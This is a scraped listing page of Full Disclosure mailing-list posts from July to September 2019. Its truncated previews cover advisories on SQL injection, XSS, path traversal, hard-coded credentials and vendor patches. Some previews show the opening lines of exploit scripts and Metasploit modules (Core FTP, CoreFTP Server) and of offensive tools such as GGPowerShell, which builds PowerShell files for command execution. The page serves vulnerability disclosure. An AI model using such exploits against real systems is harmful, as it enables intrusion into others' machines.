[CVE-2019-12516] SlickQuiz for Wordpress 1.3.7.1 "/wp-admin/admin.php?page=slickquiz-*" Multiple Authenticated SQL Injections
» ‎ Full Disclosure

Posted by Info on Sep 10
RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product: SlickQuiz
Vendor URL: https://wordpress.org/plugins/slickquiz/
Type: SQL Injection [CWE-74]
Date found: 2019-05-30
Date published: 2019-09-10
CVSSv3 Score: 8.1 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CVE: CVE-2019-12516

2. CREDITS
==========
This vulnerability was discovered and researched by...

Tags:
10:48
[CVE-2019-12517] SlickQuiz for Wordpress 1.3.7.1 "/wp-admin/admin.php?page=slickquiz" Multiple Stored XSS
» ‎ Full Disclosure

Posted by Info on Sep 10
RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product: SlickQuiz
Vendor URL: https://wordpress.org/plugins/slickquiz/
Type: Cross-Site Scripting [CWE-79]
Date found: 2019-05-30
Date published: 2019-09-10
CVSSv3 Score: 6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE: CVE-2019-12517

2. CREDITS
==========
This vulnerability was discovered and...

Tags:
10:22
Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx version Ironwood.1
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Sep 10
Hello,

We are informing you about the vulnerabilities in OpenEdx version
Ironwood.1.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx
version Ironwood.1
Affected Software: OpenEdx
Affected Versions: Ironwood.1
Homepage: https://open.edx.org/
Vulnerability: Cross site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0):...

Tags:
September 09, 2019
14:52
NtFileSins v2.1 / Windows NTFS Privileged File Access Enumeration Tool
» ‎ Full Disclosure

Posted by hyp3rlinx on Sep 09
Fixed a bug in the save report logic.

from subprocess import Popen, PIPE
import sys,argparse,re

# NtFileSins v2.1
# Fixed: save() logic to log report in case no Zone.Identifiers found.
# Added: Check for Zone.Identifer:$DATA to see if any identified files were
downloaded from internet.
#
# Windows File Enumeration Intel Gathering.
# Standard users can prove existence of privileged user artifacts.
#
# Typically, the Windows commands DIR or TYPE...

Tags:
14:52
CVE-2018-18809 Path traversal in Tibco JasperSoft
» ‎ Full Disclosure

Posted by Elar Lang on Sep 09
Title: CVE-2018-18809 Path traversal in Tibco JasperSoft
Credit: Elar Lang / https://security.elarlang.eu
Vendor/Product: Tibco JasperSoft (https://www.jaspersoft.com/)
Vulnerability: Path traversal
CVE: CVE-2018-18809

# Path traversal
Vulnerability is in reportresource/reportresource/ service and in resource
parameter. There is "defence" - value for resource param must start with
net/sf/jasperreports/.

Available for remote not...

Tags:
14:52
Core FTP LE Version 2.2, build 1935 - Local Buffer Overflow (SEH Unicode)
» ‎ Full Disclosure

Posted by Debashis Pal on Sep 09
#!/usr/bin/python

# Exploit Title: Core FTP LE Version 2.2, build 1935 - Local Buffer
Overflow (SEH Unicode)
# Vulnerability Details: Core FTP LE Version 2.2, build 1935 is prone to a
buffer overflow vulnerability that may result in a DoS user local folder
selection pane
# Exploit Type : DOS
# Date: 08-Sep-2019
# Vulnerable Software: Core FTP LE
# Version: Version 2.2, build 1935
# Vendor Homepage: http://www.coreftp.com/
# Software Link:...

Tags:
14:51
CA20190904-01: Security Notice for CA Common Services Distributed Intelligence Architecture (DIA)
» ‎ Full Disclosure

Posted by Kevin Kotas via Fulldisclosure on Sep 09
CA20190904-01: Security Notice for CA Common Services Distributed
Intelligence Architecture (DIA)

Issued: September 4th, 2019
Last Updated: September 4th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Common Services in the Distributed
Intelligence Architecture (DIA) component. A vulnerability exists,
CVE-2019-13656, that can allow a remote attacker to execute arbitrary
code. CA published solutions...

Tags:
14:50
Re: CVE 2019-13224 (UAF in PHP and Ruby regex lib)
» ‎ Full Disclosure

Posted by Marcin Kozlowski on Sep 09
Hi list,

Read about potential UAF in PHP and Ruby via regex library "oniguruma" (for
example here:
https://thehackernews.com/2019/09/php-programming-language.html)

However, I didn't find default PHP and Ruby vulnerable:

https://github.com/kkos/oniguruma/issues/153

My investigation showed the onig_new_deluxe() is not used by default.
However, modified PHP to use it and fuzzed it and was able to reproduce UAF
in 7 mins :)

Write...

Tags:
14:48
NtFileSins v2 / Windows NTFS Privileged File Access Enumeration Tool
» ‎ Full Disclosure

Posted by hyp3rlinx on Sep 09
NtFileSins v2, exploits Windows privileged file access enumeration
vulnerability to gather intelligence on privileged users. This version
includes Zone.Identifier checks to see if any discovered files were
internet downloaded.

from subprocess import Popen, PIPE
import sys,argparse,re

# NtFileSins v2
# Added: Check for Zone.Identifer:$DATA to see if any identified files were
downloaded from internet.
#
# Windows File Enumeration Intel Gathering....

Tags:
2:16
Dabman & Imperial (i&d) Web Radio Devices - Undocumented Telnet Backdoor & Command Execution Vulnerability
» ‎ Full Disclosure

Posted by Vulnerability Lab on Sep 09
Document Title:
===============
Dabman & Imperial (i&d) Web Radio Devices - Undocumented Telnet Backdoor
& Command Execution Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2183

Video: https://www.vulnerability-lab.com/get_content.php?id=2190

Vulnerability Magazine:...

Tags:
September 06, 2019
10:02
Re: Totaljs CMS authenticated path traversal (could lead to RCE)
» ‎ Full Disclosure

Posted by paw on Sep 06
Update:

[+] CVE-id: CVE-2019-15952

Il 30/08/19 19:45, paw ha scritto:

Tags:
10:00
Windows NTFS / Privileged File Access Enumeration
» ‎ Full Disclosure

Posted by hyp3rlinx on Sep 06
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NTFS-PRIVILEGED-FILE-ACCESS-ENUMERATION.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows NTFS

NTFS is a proprietary journaling file system developed by Microsoft.
Starting with Windows NT 3.1, it is the default file system of the Windows
NT family.

[Vulnerability Type]...

Tags:
September 05, 2019
7:52
AST-2019-005: Remote Crash Vulnerability in audio transcoding
» ‎ Full Disclosure

Posted by Asterisk Security Team on Sep 05
Asterisk Project Security Advisory - AST-2019-005

Product Asterisk
Summary Remote Crash Vulnerability in audio transcoding
Nature of Advisory Denial of Service
Susceptibility Remote Unauthenticated Sessions
Severity Minor...

Tags:
7:52
AST-2019-004: Crash when negotiating for T.38 with a declined stream
» ‎ Full Disclosure

Posted by Asterisk Security Team on Sep 05
Asterisk Project Security Advisory - AST-2019-004

Product Asterisk
Summary Crash when negotiating for T.38 with a declined
stream
Nature of Advisory Remote Crash
Susceptibility Remote Authenticated Sessions...

Tags:
September 04, 2019
14:20
SEC Consult SA-20190904-0 :: Multiple vulnerabilities in Cisco router series RV34X, RV26X and RV16X
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Sep 04
SEC Consult Vulnerability Lab Security Advisory < 20190904-0 >
=======================================================================
title: Multiple vulnerabilities
product: Cisco RV340, Cisco RV340W, Cisco RV345, Cisco RV345P,
Cisco RV260, Cisco RV260P, Cisco RV260W, Cisco 160,
Cisco 160W
vulnerable version: Cisco RV34X - 1.0.02.16, Cisco RV16X/26X - 1.0.00.15...

Tags:
September 03, 2019
10:15
One Identity Defender - Insecure Cryptographic Storage
» ‎ Full Disclosure

Posted by spicyitalian--- via Fulldisclosure on Sep 03
Title: One Identity Defender - Insecure Cryptographic Storage
Date: 01 September 2019

Affected Software:
==================
One Identity Defender 5.9.3
Other versions are likely also vulnerable.

Insecure Cryptographic Storage:
==============================
Defender stores token seeds, PAP secrets, and user passwords in Active Directory attributes that are readable by all
authenticated users. Defender passwords are hashed using MD5 in...

Tags:
10:14
Totaljs CMS Broken Access Control on the API call
» ‎ Full Disclosure

Posted by paw on Sep 03
[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Broken Access Control on the API call

[+] Affected software: Totaljs CMS 12.0

[+] Description: An authenticated user with limited privileges can get
access to resource that did not own by calling the associated API.
The CMS manage correctly the privilege only for the front-end resource
path, but it does not the same for the API request. This lead to
vertical and...

Tags:
10:14
Totaljs CMS Authenticated Code injection on widget creation
» ‎ Full Disclosure

Posted by paw on Sep 03
[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Authenticated Code injection on widget creation.

[+] Affected software: Totaljs CMS 12.0

[+] Description:

An authenticated user with “widgets” privilege can gain RCE on the
remote server by creating a malicious widget with a special tag
containing java-script code that will be evaluated server side.
In the process of evaluating the tag by back-end is...

Tags:
10:14
Totaljs CMS Insecure Admin Session cookie
» ‎ Full Disclosure

Posted by paw on Sep 03
[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Insecure Admin Session cookie

[+] Affected software: Totaljs CMS 12.0

[+] Description:

A low privilege user can easily crack the owned cookie to obtain the
“random” values inside it. If this user can leak a session cookie owned
by another admin, then it’s possible to brute force it with O(n)=2n
instead of O(n)=n^x complexity and steal the admin password....

Tags:
10:14
Totaljs CMS authenticated path traversal (could lead to RCE)
» ‎ Full Disclosure

Posted by paw on Sep 03
*Totaljs CMS authenticated path traversal (could lead to RCE)*

[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup
**

[+] Title: Totaljs CMS authenticated path traversal (could lead to RCE)

[+] Affected software: Totaljs CMS 12.0

[+] Description: An authenticated user with “Pages” privilege can
include via path traversal attack (../) .html files that are outside the
permitted directory. Also if the page contains template directive,...

Tags:
10:10
ZeroNights 2019
» ‎ Full Disclosure

Posted by CFP ZeroNights on Sep 03
ZeroNights 2019 CFP is OPEN: Offensive and defensive research
(15/30/45min). Submit your talk!

About conference

Place: Saint-Petersburg, Russia
Date: 12-13 November
Timeslots: 15/30/45min
Site: https://zeronights.org
CFP Timeline

CFP start: 1 August
CFP end: 10 October
Conditions:

A speaker may deliver either a long or a short talk. The terms and
conditions for each of the options are listed below.

Long or medium talk: A speaker is entitled...

Tags:
10:10
Wolters Kluwer TeamMate+ – Cross-Site Request Forgery (CSRF) vulnerability
» ‎ Full Disclosure

Posted by Bhdresh on Sep 03
Hello,

Please find the below vulnerability details,

---------------------------------------------------------------------------------------------------------------------------------

# Exploit Title: Wolters Kluwer TeamMate+ – Cross-Site Request Forgery
(CSRF) vulnerability
# Date: 02/09/2019
# Exploit Author: Bhadresh Patel
# Version: <= TeamMate Version 3.1 (January 2019) (Internal Version:
21.0.0.0)
# CVE : CVE-2019-10253

This is an...

Tags:
August 30, 2019
9:04
Multiple vulns in Cisco UCS Director: from unauth remote access to code execution as root
» ‎ Full Disclosure

Posted by Pedro Ribeiro on Aug 30
Hi,

tl;dr three vulns (auth bypass, command injection, default password) in
Cisco UCS and Cisco IMC Supervisor, two of which (auth bypass + command
injection) can be chained to achieve unauthenticated RCE as root

Full advisory below, can also be fetched from
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt

Metasploit modules have been submitted to:
https://github.com/rapid7/metasploit-framework/pull/12243...

Tags:
9:03
New BlackArch Linux ISOs + OVA Image (2019.09.01)with 2350 Tools released
» ‎ Full Disclosure

Posted by Black Arch on Aug 30
Dear list,

We've released the new BlackArch Linux ISOs and OVA image (version:
2019.09.01). These are really special releases as many improvements
and QA went through all packages and tools Blackarch Linux offers! For
details see the ChangeLog below. The BlackArch repository, Live-ISO
and OVA image include more than 2350 tools now. The armv6h, armv7h and
aarch64 repositories are filled with about 2200 tools.

A ChangeLog of the...

Tags:
9:03
GGPowerShell / Windows PowerShell Unsanitized RCE File Tool
» ‎ Full Disclosure

Posted by hyp3rlinx on Aug 30
Tool for creating Windows .PS files with the exploitable semicolon
condition. Has some options like reverse string PS command payload and
IP address as integer value etc...

http://hyp3rlinx.altervista.org/advisories/GGPowerShell.txt

from base64 import b64encode
from base64 import b64decode
from socket import *
import argparse,sys,socket,struct,re

#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#...

Tags:
9:02
[SBA-ADV-20190305-01] CVE-2019-13564: Ping Identity Agentless Integration Kit
» ‎ Full Disclosure

Posted by SBA Research Advisory on Aug 30
# Ping Identity Agentless Integration Kit Reflected Cross-site Scripting (XSS) #

Link:
https://github.com/sbaresearch/advisories/tree/public/2019/SBA-ADV-20190305-01_Ping_Identity_Agentless_Integration_Kit_Reflected_XSS

## Vulnerability Overview ##

Ping Identity Agentless Integration Kit before 1.5 is susceptible to
Reflected Cross-site Scripting at the `/as/authorization.oauth2`
endpoint due to improper encoding of an arbitrarily submitted...

Tags:
0:17
SEC Consult SA-20190829-1 :: External DNS Requests in Zyxel USG/UAG/ATP/VPN/NXC series
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Aug 30
SEC Consult Vulnerability Lab Security Advisory < 20190829-1 >
=======================================================================
title: External DNS Requests
product: Zyxel USG/UAG/ATP/VPN/NXC series
vulnerable version: see "Vulnerable / tested version"
fixed version: see "Solution"
CVE number: -
impact: medium
homepage: https://www.zyxel.com...

Tags:
0:16
SEC Consult SA-20190829-0 :: Hardcoded FTP Credentials in Zyxel NWA/NAP/WAC wireless access point series
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Aug 30
SEC Consult Vulnerability Lab Security Advisory < 20190829-0 >
=======================================================================
title: Hardcoded FTP Credentials
product: Zyxel NWA/NAP/WAC wireless access point series
vulnerable version: see "Vulnerable / tested version"
fixed version: see "Solution"
CVE number: -
impact: medium
homepage:...

Tags:
August 27, 2019
10:01
Multiple CSRF Vulnerabilities in Django CRM 0.2.1
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Aug 27
Hello,

We are informing you about the vulnerabilities in Django CRM 0.2.1.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Multiple CSRF Vulnerabilities in Django CRM 0.2.1
Affected Software: Django CRM
Affected Versions: 0.2.1
Homepage: https://github.com/MicroPyramid/Django-CRM
Vulnerability: Cross-site Request Forgery
Severity: 8.8 High
Status: Not Fixed
CVE-ID: CVE-2019-11457
CVSS Score (3.0):...

Tags:
10:01
APPLE-SA-2019-8-26-2 macOS Mojave 10.14.6 Supplemental Update
» ‎ Full Disclosure

Posted by Akila Srinivasan via Fulldisclosure on Aug 27
APPLE-SA-2019-8-26-2 macOS Mojave 10.14.6 Supplemental Update

macOS Mojave 10.14.6 Supplemental Update is now available and
addresses the following:

Kernel
Available for: macOS Mojave 10.14.6
Impact: A malicious application may be able to execute arbitrary code
with system privileges
Description: A use after free issue was addressed with improved
memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero

Additional...

Tags:
10:01
APPLE-SA-2019-8-26-3 tvOS 12.4.1
» ‎ Full Disclosure

Posted by Akila Srinivasan via Fulldisclosure on Aug 27
APPLE-SA-2019-8-26-3 tvOS 12.4.1

tvOS 12.4.1 is now available and addresses the following:

Kernel
Available for: Apple TV 4K and Apple TV HD
Impact: A malicious application may be able to execute arbitrary code
with system privileges
Description: A use after free issue was addressed with improved
memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero

Additional recognition

Kernel
We would like to acknowledge...

Tags:
10:01
APPLE-SA-2019-8-26-1 iOS 12.4.1
» ‎ Full Disclosure

Posted by Akila Srinivasan via Fulldisclosure on Aug 27
APPLE-SA-2019-8-26-1 iOS 12.4.1

iOS 12.4.1 is now available and addresses the following:

Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with system privileges
Description: A use after free issue was addressed with improved
memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero

Additional recognition...

Tags:
August 25, 2019
21:56
Hard-coded credentials on ProGrade/Lierda Grill Temperature Monitor [CVE-2019-15304]
» ‎ Full Disclosure

Posted by tim on Aug 25
[Author:] Tim Tepatti
[Website:] tepatti.com

[Title:] Hard-coded credentials on ProGrade/Lierda Grill Temperature
Monitor [CVE-2019-15304]

[Product:] Grill Temperature Monitor
[Manufacturer:] ProGrade / Lierda
[Affected Version(s):] V1.00_50006
[Tested Version(s):] V1.00_50006
[Vulnerability Type:] Use of hard-coded credentials (CWE ID 798)
[CVE Reference:] CVE-2019-15304

[TL;DR:]

ProGrade/Lierda Grill Temperature Monitor V1.00_50006 has a...

Tags:
21:56
Unquoted Path - Trend Micro
» ‎ Full Disclosure

Posted by Silton Renato Pereira dos Santos on Aug 25
=====[ Tempest Security Intelligence - ADV-02/2019
]==========================

Trend Maximum Security 2019
Author: Silton Santos
Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of
Contents]=====================================================

* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability...

Tags:
21:56
[CVE-2019-15150] CSRF in MediaWiki extension OAuth2 Client 0.3
» ‎ Full Disclosure

Posted by Justin Bull on Aug 25
[CVE-2019-15150] CSRF in MediaWiki extension OAuth2 Client 0.3

Happy Sunday everyone.

A security bulletin for you all.

Software:
--------
MediaWiki OAuth2 Client (https://github.com/Schine/MW-OAuth2Client)

Description:
----------
MediaWiki implementation of the PHP League's OAuth2 Client, to allow MediaWiki
to act as a client to any OAuth2 server.

Not Affeted:
------------
0.2 and earlier.

Affected Versions:
---------------
0.3

Fixed...

Tags:
21:56
Realtek Managed Switch Controller RTL83xx
» ‎ Full Disclosure

Posted by bashis on Aug 25
[SOT]

[Subject]

Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis)
https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller

[Brief description]

1. Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW
version and vendors affected)
Note: The vulnerability are _not_ from Boa nor...

Tags:
21:56
CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM Directory Traversal (Metasploit) Exploit
» ‎ Full Disclosure

Posted by Kevin R on Aug 25
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/21/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9649

class MetasploitModule < Msf::Auxiliary...

Tags:
21:56
CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal (Metasploit) Exploit
» ‎ Full Disclosure

Posted by Kevin R on Aug 25
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/20/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9648

class MetasploitModule < Msf::Auxiliary...

Tags:
21:48
CVE-2019-10071: Timing Attack in HMAC Verification in Apache Tapestry
» ‎ Full Disclosure

Posted by David Tomaschik via Fulldisclosure on Aug 25
CVE-2019-10071: Timing Attack in HMAC Verification in Apache Tapestry

Affected versions:
- Apache Tapestry 5.3.6 through current releases.

Description:
Apache Tapestry uses HMACs to verify the integrity of objects stored on the
client side. This was added to address the Java deserialization
vulnerability
disclosed in CVE-2014-1972. In the fix for the previous vulnerability, the
HMACs were compared by string comparison, which is known to be...

Tags:
21:47
[CFP] Bsides Lisbon 2019
» ‎ Full Disclosure

Posted by Claudio Andre on Aug 25
BSidesLisbon is back and we need your help to make it bigger and better
once more!!

The event will be held in Lisbon (really?) on November 28th and 29th at
Auditorio FMD-UL

To register go to: *https://cfp.bsideslisbon.org*
<https://cfp.bsideslisbon.org/>
Speaking slots

As in the previous year, we will have the following:

*Regular Talks:*

Presentation slots with a fixed duration of 45 minutes plus 10 minutes for
Q&A.

*Short Talks:*...

Tags:
August 22, 2019
4:24
SEC Consult SA-20190822-0 :: Multiple Vulnerabilities in OpenPGP.js
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Aug 22
You owe me € 10

Tags:
August 21, 2019
5:29
SEC Consult SA-20190821-0 :: Unauthenticated sensitive information leakage in Zoho Corporation ManageEngine ServiceDesk Plus
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Aug 21
SEC Consult Vulnerability Lab Security Advisory < 20190821-0 >
=======================================================================
title: Unauthenticated sensitive information leakage
product: Zoho Corporation ManageEngine ServiceDesk Plus
vulnerable version: v10 <10509
fixed version: v10 >=10509
CVE number: CVE-2019-15045, CVE-2019-15046
impact: Critical
homepage:...

Tags:
August 16, 2019
10:18
No cON Name 2019 Congress CFP
» ‎ Full Disclosure

Posted by sqlsec--- via Fulldisclosure on Aug 16
No cON Name 2019 Congress
Call For Papers https://www.noconname.org/call-for-papers/
INTRODUCTIONThe organization has opened CFP. Our goal is to get highly qualifiedrequests for both, speaker
opportunities, as well as workshops, to show in oneof the most respected hacker conferences in Barcelona and Spain,
NcN (No cONName).We will be accepting exclusively technical presentations, proof of concept for,private
investigations ...

Tags:
10:17
APPLE-SA-2019-08-13-5 SwiftNIO HTTP/2 1.5.0
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Aug 16
APPLE-SA-2019-08-13-5 SwiftNIO HTTP/2 1.5.0

SwiftNIO HTTP/2 1.5.0 is now available and addresses the following:

SwiftNIO HTTP/2
Available for: SwiftNIO HTTP/2 1.0.0 through 1.4.0 on
macOS Sierra 10.12 and later and Ubuntu 14.04 and later
Impact: A HTTP/2 server may consume unbounded amounts of memory when
receiving certain traffic patterns and eventually suffer resource
exhaustion
Description: This issue was addressed with improved buffer size...

Tags:
10:17
APPLE-SA-2019-8-13-4 Additional information for APPLE-SA-2019-7-22-5 tvOS 12.4
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Aug 16
APPLE-SA-2019-8-13-4 Additional information for
APPLE-SA-2019-7-22-5 tvOS 12.4

tvOS 12.4 addresses the following:

Bluetooth
Available for: Apple TV 4K and Apple TV HD
Impact: An attacker in a privileged network position may be able to
intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)
Description: An input validation issue existed in Bluetooth. This
issue was addressed with improved input validation.
CVE-2019-9506: Daniele...

Tags:
10:17
APPLE-SA-2019-8-13-3 Additional information for APPLE-SA-2019-7-22-4 watchOS 5.3
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Aug 16
APPLE-SA-2019-8-13-3 Additional information for
APPLE-SA-2019-7-22-4 watchOS 5.3

watchOS 5.3 addresses the following:

Bluetooth
Available for: Apple Watch Series 1 and later
Impact: An attacker in a privileged network position may be able to
intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)
Description: An input validation issue existed in Bluetooth. This
issue was addressed with improved input validation.
CVE-2019-9506: Daniele...

Tags:
10:17
APPLE-SA-2019-8-13-2 Additional information for APPLE-SA-2019-7-22-1 iOS 12.4
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Aug 16
APPLE-SA-2019-8-13-2 Additional information for
APPLE-SA-2019-7-22-1 iOS 12.4

iOS 12.4 addresses the following:

Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation and later
Impact: An attacker in a privileged network position may be able to
intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)
Description: An input validation issue existed in Bluetooth. This
issue was addressed with...

Tags:
10:17
APPLE-SA-2019-8-13-1 Additional information for APPLE-SA-2019-7-22-2 macOS Mojave 10.14.6, Security Update 2019-004 High Sierra, Security Update 2019-004 Sierra
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Aug 16
APPLE-SA-2019-8-13-1 Additional information for
APPLE-SA-2019-7-22-2 macOS Mojave 10.14.6, Security Update
2019-004 High Sierra, Security Update 2019-004 Sierra

macOS Mojave 10.14.6, Security Update 2019-004 High Sierra,
Security Update 2019-004 Sierra address the
following:

AppleGraphicsControl
Available for: macOS Mojave 10.14.5
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with...

Tags:
10:16
Open-Xchange Security Advisory 2019-08-15
» ‎ Full Disclosure

Posted by Open-Xchange GmbH via Fulldisclosure on Aug 16
Dear subscribers,

we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those
vulnerabilities. Feel free to join our bug bounty programs (appsuite, dovecot, powerdns) at HackerOne.

Yours sincerely,
Martin Heiland, Open-Xchange GmbH

Product: OX Guard
Vendor: OX Software GmbH

Internal reference: 65132 (Bug ID)
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version:...

Tags:
10:16
Open-Xchange Security Advisory 2019-08-15
» ‎ Full Disclosure

Posted by Open-Xchange GmbH via Fulldisclosure on Aug 16
Dear subscribers,

we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those
vulnerabilities. Feel free to join our bug bounty programs (appsuite, dovecot, powerdns) at HackerOne.

Yours sincerely,
Martin Heiland, Open-Xchange GmbH

Product: OX App Suite
Vendor: OX Software GmbH

Internal reference: 64680 (Bug ID)
Vulnerability type: Content Spoofing (CWE-451)
Vulnerable version:...

Tags:
August 13, 2019
10:25
Some interesting facts about gitlab runners
» ‎ Full Disclosure

Posted by John Doe on Aug 13
So generally when you create a docker container, you specify what network
you want to create it on right? Well due to historical reasons if you don't
the container is created on the default "bridge0" network.

This network doesn't have service discovery in the proper sense. To have
containers talk to each other by name you need to "link" them, in the
legacy docker sense. But in fact it's possible for any...

Tags:
7:15
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability
» ‎ Full Disclosure

Posted by Vulnerability Lab on Aug 13
Document Title:
===============
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2188

Product:
https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/

Ticket: https://groups.google.com/forum/#!forum/tortoisesvn

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422

CVE-ID:...

Tags:
August 09, 2019
15:37
Multiple banks - potential risk of an inconsequent client separation
» ‎ Full Disclosure

Posted by Tim Schughart on Aug 09
Hello together,

as many of you already know some german banks are sharing the same hoster.

Via google dorking it is possible to determine some customers of one of those hosters (Fiducia & GAD IT AG).

The hoster uses a GET parameter called „bankid“ to identify its customers.

For example:
https://mobilebanking.gad.de/inm/mobilgad////ptlweb/WebPortal?
<https://mobilebanking.gad.de/inm/mobilgad////ptlweb/WebPortal?bankid=8008...

Tags:
15:32
Dlink-CVE-2019-13101
» ‎ Full Disclosure

Posted by Devendra Solanki on Aug 09
A remote vulnerability was discovered on D-Link DIR-600M Wireless N 150
Home Router in multiple respective firmware versions.
The vulnerability provides unauthenticated remote access to the router's
WAN configuration page i.e. "wan.htm", which leads to
disclosure of sensitive user information including but not limited to
PPPoE, DNS configuration etc, also allowing to change
the configuration settings as well.

A Nmap nse script to...

Tags:
15:32
Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash Command Injection Vulnerability with Root Priviledges in /cgi-bin/webuploadconfig script
» ‎ Full Disclosure

Posted by Axel Rengstorf on Aug 09
BlueBox Security
http://www.bluebox-security.de/ security(at)bluebox-security.de
bbs-2019.001.txt 08-August-2019

Tags:
August 07, 2019
13:12
New Tool - Phishing Simulation
» ‎ Full Disclosure

Posted by jeny raval on Aug 07
Hello Team,

I have developed this tool "Phishing Simulation", which might be a good fit
for your arsenal.

https://github.com/jenyraval/Phishing-Simulation

I will also be presenting this one at defcon this year. Let me know if any
more information is needed.

Thanks!
Jyoti Raval

Tags:
13:08
Fortinet FortiRecorder Hardcoded Password
» ‎ Full Disclosure

Posted by Aaron Blair via Fulldisclosure on Aug 07
Original posting:
https://xor.cat/2019/08/05/fortinet-fortirecorder-hardcoded-password/

Text archive available here:
https://xor.cat/archive/2019/08/05/fortinet-fortirecorder-hardcoded-password.txt

## Background

In June of 2019 I discovered a vulnerability in Fortinet's
FortiRecorder[1] product which impacts the FortiCam devices that are
connected to a FortiRecorder.

The FortiRecorder is a network video recorder product which administers...

Tags:
August 02, 2019
11:42
Avira Free Security Suite 2019 - Exploiting Arbitrary File Writes for Local Elevation of Privilege
» ‎ Full Disclosure

Posted by filipe on Aug 02
=====[ Tempest Security Intelligence - ADV-01/2019
]==========================

Avira Free Security Suite 2019 - Software Updater v2.0.6.13175
Author: Silton Santos
Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of
Contents]=====================================================

* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability...

Tags:
11:42
Microsoft Windows PowerShell / Unsanitized Filename Command Execution
» ‎ Full Disclosure

Posted by hyp3rlinx on Aug 02
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
[+] ISR: Apparition Security

[Vendor]
www.microsoft.com

[Product]
Windows PowerShell

Windows PowerShell is a Windows command-line shell designed especially for
system administrators.
PowerShell includes an interactive prompt and a scripting...

Tags:
July 30, 2019
22:30
VTS19-002: Multiple Vulnerabilities in Veritas Resiliency Platform (VRP)
» ‎ Full Disclosure

Posted by David Dillard on Jul 30
Four vulnerabilities have been fixed in VRP 3.4 HF1, one of which is of critical severity.

